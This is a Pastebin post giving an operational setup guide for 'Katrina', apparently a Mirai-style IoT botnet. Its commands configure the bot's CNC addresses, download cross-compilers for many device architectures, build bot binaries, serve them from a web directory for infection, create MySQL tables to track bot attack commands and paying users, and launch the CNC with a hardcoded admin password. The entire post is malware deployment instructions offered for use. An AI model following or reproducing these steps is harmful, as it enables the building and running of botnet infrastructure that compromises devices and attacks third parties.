Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Things you will need:
- 1. A brain
- 2. A Debian/Ubuntu Server
- 3. A source
- 4. A 800 MB/s Download and a 200 MB/s Upload speed
- 5. 8/10GB Ram
- Setup:
- apt-get update -y && apt-get upgrade -y && apt-get install unzip gcc golang electric-fence screen bzip2 g++ -y
- cd Katrina/bot/
- nano includes.h
- (Change all the IP's to your server IP exceptt for #define "FAKE_CNC_ADDR INET_ADDR(65,222,202,53)")
- cd ..
- cd cnc/
- nano main.go
- (Add password in const DatabasePass string = "")
- apt-get install mysql-client mysql-server -y
- (Use the password you chose for main.go)
- Cross Compiler Setup:
- mkdir etc
- cd etc
- mkdir xcompile
- cd xcompile
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mips.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv6l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-mips64.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv4eb.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-armv4tl.tar.bz2
- wget wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
- wget https://download.tuxfamily.org/slitaz/sources/packages-stable/c/cross-compiler-i486.tar.bz2
- tar -jxf cross-compiler-mips.tar.bz2
- tar -jxf cross-compiler-mipsel.tar.bz2
- tar -jxf cross-compiler-sh4.tar.bz2
- tar -jxf cross-compiler-x86_64.tar.bz2
- tar -jxf cross-compiler-armv6l.tar.bz2
- tar -jxf cross-compiler-i686.tar.bz2
- tar -jxf cross-compiler-powerpc.tar.bz2
- tar -jxf cross-compiler-i586.tar.bz2
- tar -jxf cross-compiler-m68k.tar.bz2
- tar -jxf cross-compiler-sparc.tar.bz2
- tar -jxf cross-compiler-armv4l.tar.bz2
- tar -jxf cross-compiler-armv5l.tar.bz2
- tar -jxf cross-compiler-powerpc-440fp.tar.bz2
- tar -jxf cross-compiler-mips64.tar.bz2
- tar -jxf cross-compiler-armv4eb.tar.bz2
- tar -jxf cross-compiler-armv4tl.tar.bz2
- tar -jxf cross-compiler-armv7l.tar.bz2
- tar -jxf cross-compiler-i486.tar.bz2
- rm -rf *.tar.bz2
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-sh4 sh4
- mv cross-compiler-x86_64 x86_64
- mv cross-compiler-armv6l armv6l
- mv cross-compiler-i686 i686
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-i586 i586
- mv cross-compiler-m68k m68k
- mv cross-compiler-sparc sparc
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-armv5l armv5l
- mv cross-compiler-powerpc-440fp powerpc-440fp
- mv cross-compiler-mips64 mips64
- mv cross-compiler-armv4eb armv4eb
- mv cross-compiler-armv4tl armv4tl
- mv cross-compiler-armv7l armv7l
- mv cross-compiler-i486 i486
- export PATH=$PATH:/etc/xcompile/mips/bin
- export PATH=$PATH:/etc/xcompile/mipsel/bin
- export PATH=$PATH:/etc/xcompile/sh4/bin
- export PATH=$PATH:/etc/xcompile/x86_64/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/etc/xcompile/i686/bin
- export PATH=$PATH:/etc/xcompile/powerpc/bin
- export PATH=$PATH:/etc/xcompile/i586/bin
- export PATH=$PATH:/etc/xcompile/m68k/bin
- export PATH=$PATH:/etc/xcompile/sparc/bin
- export PATH=$PATH:/etc/xcompile/armv4l/bin
- export PATH=$PATH:/etc/xcompile/armv5l/bin
- export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
- export PATH=$PATH:/etc/xcompile/mips64/bin
- export PATH=$PATH:/etc/xcompile/armv4eb/bin
- export PATH=$PATH:/etc/xcompile/armv4tl/bin
- export PATH=$PATH:/etc/xcompile/armv7l/bin
- export PATH=$PATH:/etc/xcompile/i486/bin
- Fix for GO:
- apt-get remove golang -y && apt-get install mysql-server mysql-client gcc curl electric-fence git sudo -y
- wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
- sudo tar -xvf go1.13.5.linux-amd64.tar.gz
- sudo mv go /usr/local
- export GOROOT=/usr/local/go
- export GOPATH=$HOME/Projects/Proj1
- export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
- To see if Go installed correctly type in
- go version
- if you see go version go1.13.5.linux-amd64
- then go installed correctly
- Installing GO:
- go get github.com/go-sql-driver/mysql
- go get github.com/mattn/go-shellwords
- Compiling the binaries and CNC:
- apt-get install apache2 -y
- chmod +x build.sh
- ./build.sh release telnet
- service apache restart
- cd ..
- cd var
- cd www
- mkdir html
- cd hmtl
- mkdir bins
- cd ..
- cd root
- cd release
- mv Katrina.* /var/www/html/bins/
- setup admin login:
- mysql:
- mysql -u root -p
- Enter the MySQL Password you chose
- CREATE DATABASE Katrina;
- use Katrina;
- CREATE TABLE `history` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `user_id` int(10) unsigned NOT NULL,
- `time_sent` int(10) unsigned NOT NULL,
- `duration` int(10) unsigned NOT NULL,
- `command` text NOT NULL,
- `max_bots` int(11) DEFAULT '-1',
- PRIMARY KEY (`id`),
- KEY `user_id` (`user_id`)
- );
- CREATE TABLE `users` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `username` varchar(32) NOT NULL,
- `password` varchar(32) NOT NULL,
- `duration_limit` int(10) unsigned DEFAULT NULL,
- `cooldown` int(10) unsigned NOT NULL,
- `wrc` int(10) unsigned DEFAULT NULL,
- `last_paid` int(10) unsigned NOT NULL,
- `max_bots` int(11) DEFAULT '-1',
- `admin` int(10) unsigned DEFAULT '0',
- `intvl` int(10) unsigned DEFAULT '30',
- `api_key` text,
- PRIMARY KEY (`id`),
- KEY `username` (`username`)
- );
- CREATE TABLE `whitelist` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `prefix` varchar(16) DEFAULT NULL,
- `netmask` tinyint(3) unsigned DEFAULT NULL,
- PRIMARY KEY (`id`),
- KEY `prefix` (`prefix`)
- );
- CREATE TABLE `whitelist` (
- `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
- `prefix` varchar(16) DEFAULT NULL,
- `netmask` tinyint(3) unsigned DEFAULT NULL,
- PRIMARY KEY (`id`),
- KEY `prefix` (`prefix`)
- );
- INSERT INTO users VALUES (NULL, 'admin', 'Hekker123', 0, 0, 0, 0, -1, 1, 30, '');
- exit
- Setup is now complete you just have to get up the cnc
- CNC Start:
- cd Katrina/release/
- screen ./cnc
- COMPLETE!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement